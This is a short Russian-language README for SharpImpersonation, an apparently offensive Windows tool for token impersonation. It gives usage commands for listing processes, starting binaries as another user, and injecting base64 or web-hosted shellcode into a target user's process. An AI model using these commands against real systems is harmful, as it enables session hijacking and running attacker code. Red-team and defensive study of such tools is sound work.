SharpImpersonation

Это был проект "обучение на практике" с моей стороны. Используются известные техники для создания очередного инструмента для имперсонации с некоторыми улучшениями по сравнению с другими публичными инструментами. Кодовая база взята из:

• https://github.com/0xbadjuju/Tokenvator

Статья с введением доступна здесь:

• https://s3cur3th1ssh1t.github.io/SharpImpersonation-Introduction/

Список процессов пользователей

PS > PS C:\temp> SharpImpersonation.exe list

Список только процессов с повышенными привилегиями

PS > PS C:\temp> SharpImpersonation.exe list elevated

Имперсонация первого процесса целевого пользователя для запуска нового бинарника

PS > PS C:\temp> SharpImpersonation.exe user:<user> binary:<binary-Path>

Внедрение shellcode в кодировке base64 в первый процесс целевого пользователя

PS > PS C:\temp> SharpImpersonation.exe user:<user> shellcode:<base64shellcode>

Внедрение shellcode, загруженного с веб-сервера, в первый процесс целевого пользователя

PS > PS C:\temp> SharpImpersonation.exe user:<user> shellcode:<URL>

Имперсонация целевого пользователя через ImpersonateLoggedOnUser для текущего сеанса

PS > PS C:\temp> SharpImpersonation.exe user:<user> technique:ImpersonateLoggedOnuser